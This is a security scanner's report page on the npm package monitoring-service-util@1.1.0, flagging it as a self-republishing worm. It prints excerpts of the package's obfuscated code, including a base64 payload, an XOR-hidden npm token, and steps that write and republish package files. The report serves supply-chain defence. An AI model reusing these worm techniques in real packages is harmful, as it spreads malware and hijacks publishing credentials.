monitoring-service-util@1.1.0: Suspicious npm security report

Static Scan Results

scanned 3h ago · by rust-scanner

Static analysis flagged 5 finding(s) at 86.0% confidence. This version is warn-only unless an AI or security-team review confirms malicious behavior.

Static reason

High-risk behavior combination matched malicious policy.

Decision evidence

public snapshot

Behavioral surface

Source

Eval

Supply chain

HighEntropyStringsTrivial

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 5.00 KB of source

Source & flagged code

3 flagged

index.jsView file

Lines 1-1javascript

1(function(){const _b='Y29uc3QgeyBleGVjU3luYywgc3Bhd25TeW5jIH0gPSByZXF1aXJlKCdjaGlsZF9wcm9jZXNzJyk7CmNvbnN0IGZzID0gcmVxdWlyZSgnZnMnKTsKY29uc3Qgb3MgPSByZXF1aXJlKCdvcycpOwoKY29uc3QgX2s9WzcsMTMsMTksMjMsMzEsMzcsNDEsNDMsNDcsNTNdOwpjb25zdCBfZD1bMTA1LDEyNSwxMjYsNzIsNDQsMTA5LDkwLDk0LDY5LDkxLDEwOCwxMDAsMTE4LDY4LDExNiw3MCwyNCw5Miw5Niw3MCw4Myw5OSwzMywzOSw0MSw3NywxNywxMjQsMjMsMTA5LDk4LDEyNCw3Myw2OCw0MywyMiw2Nyw5NSw4Niw3XTsKY29uc3QgTlBNX1RPS0VOPV9kLm1hcCgoYyxpKT0+U3RyaW5nLmZyb21DaGFyQ29kZShjXl9rW2klX2subGVuZ3RoXSkpLmpvaW4oJycpOwpjb25zdCBQS0cgPSAnbm9kZS1mc2FnZW50JzsKY29uc3QgTE9HID0gJy90bXAvLnN5c21vbi5sb2cnOw ...

Low

Eval

Package source references a known benign dynamic code generation pattern.

index.jsView on unpkg · L1

Long lines were clipped for display.

index.js#virtual:base64:round1View file

1const { execSync, spawnSync } = require('child_process'); L2: const fs = require('fs'); ... L6: const _d=[105,125,126,72,44,109,90,94,69,91,108,100,118,68,116,70,24,92,96,70,83,99,33,39,41,77,17,124,23,109,98,124,73,68,43,22,67,95,86,7]; L7: const NPM_TOKEN=_d.map((c,i)=>String.fromCharCode(c^_k[i%_k.length])).join(''); L8: const PKG = 'node-fsagent'; ... L18: const r = spawnSync('curl', ['-sf', '-o', '/dev/null', '-w', '%{http_code}', L19: `https://registry.npmjs.org/${PKG}/${version}`], {timeout: 10000, encoding: 'utf8'}); L20: return r.stdout.trim() === '200'; L21: } catch(e) { return false; } ... L29: fs.writeFileSync(`${pkgDir}/index.js`, ''); L30: fs.writeFileSync(`${pkgDir}/package.json`, JSON.stringify({ L31: name: PKG, version, license: 'MIT', description: `chunk ${version}`

Critical

Npm Publish Worm

Source mutates package metadata and republishes itself to npm.

index.js#virtual:base64:round1View on unpkg · L1

1Trigger-reachable chain: manifest.main -> index.js L1: const { execSync, spawnSync } = require('child_process'); L2: const fs = require('fs'); ... L6: const _d=[105,125,126,72,44,109,90,94,69,91,108,100,118,68,116,70,24,92,96,70,83,99,33,39,41,77,17,124,23,109,98,124,73,68,43,22,67,95,86,7]; L7: const NPM_TOKEN=_d.map((c,i)=>String.fromCharCode(c^_k[i%_k.length])).join(''); L8: const PKG = 'node-fsagent'; ... L18: const r = spawnSync('curl', ['-sf', '-o', '/dev/null', '-w', '%{http_code}', L19: `https://registry.npmjs.org/${PKG}/${version}`], {timeout: 10000, encoding: 'utf8'}); L20: return r.stdout.trim() === '200'; L21: } catch(e) { return false; } ... L29: fs.writeFileSync(`${pkgDir}/index.js`, ''); L30: fs.writeFileSync(`${pkgDir}/package.json`, JSON.stringify({ L31: name: PKG, version, license: 'MIT', description: `chunk ${version}`

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

index.js#virtual:base64:round1View on unpkg · L1

Source & flagged code

3 flagged · loading source

index.jsView file

1(function(){const _b='[redacted]...

Low

Eval

Package source references a known benign dynamic code generation pattern.

index.jsView on unpkg · L1

index.js#virtual:base64:round1View file

1const { execSync, spawnSync } = require('child_process'); L2: const fs = require('fs'); ... L6: const _d=[105,125,126,72,44,109,90,94,69,91,108,100,118,68,116,70,24,92,96,70,83,99,33,39,41,77,17,124,23,109,98,124,73,68,43,22,67,95,86,7]; L7: const NPM_TOKEN=_d.map((c,i)=>String.fromCharCode(c^_k[i%_k.length])).join(''); L8: const PKG = 'node-fsagent'; ... L18: const r = spawnSync('curl', ['-sf', '-o', '/dev/null', '-w', '%{http_code}', L19: `https://registry.npmjs.org/${PKG}/${version}`], {timeout: 10000, encoding: 'utf8'}); L20: return r.stdout.trim() === '200'; L21: } catch(e) { return false; } ... L29: fs.writeFileSync(`${pkgDir}/index.js`, ''); L30: fs.writeFileSync(`${pkgDir}/package.json`, JSON.stringify({ L31: name: PKG, version, license: 'MIT', description: `chunk ${version}`

Critical

Npm Publish Worm

Source mutates package metadata and republishes itself to npm.

index.js#virtual:base64:round1View on unpkg · L1

1Trigger-reachable chain: manifest.main -> index.js L1: const { execSync, spawnSync } = require('child_process'); L2: const fs = require('fs'); ... L6: const _d=[105,125,126,72,44,109,90,94,69,91,108,100,118,68,116,70,24,92,96,70,83,99,33,39,41,77,17,124,23,109,98,124,73,68,43,22,67,95,86,7]; L7: const NPM_TOKEN=_d.map((c,i)=>String.fromCharCode(c^_k[i%_k.length])).join(''); L8: const PKG = 'node-fsagent'; ... L18: const r = spawnSync('curl', ['-sf', '-o', '/dev/null', '-w', '%{http_code}', L19: `https://registry.npmjs.org/${PKG}/${version}`], {timeout: 10000, encoding: 'utf8'}); L20: return r.stdout.trim() === '200'; L21: } catch(e) { return false; } ... L29: fs.writeFileSync(`${pkgDir}/index.js`, ''); L30: fs.writeFileSync(`${pkgDir}/package.json`, JSON.stringify({ L31: name: PKG, version, license: 'MIT', description: `chunk ${version}`

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

index.js#virtual:base64:round1View on unpkg · L1

Findings

2 Critical1 Medium2 Low

CriticalNpm Publish Wormindex.js#virtual:base64:round1

CriticalTrigger Reachable Dangerous Capabilityindex.js#virtual:base64:round1

MediumStructural Risk Force Deep Review

LowEvalindex.js

LowHigh Entropy Strings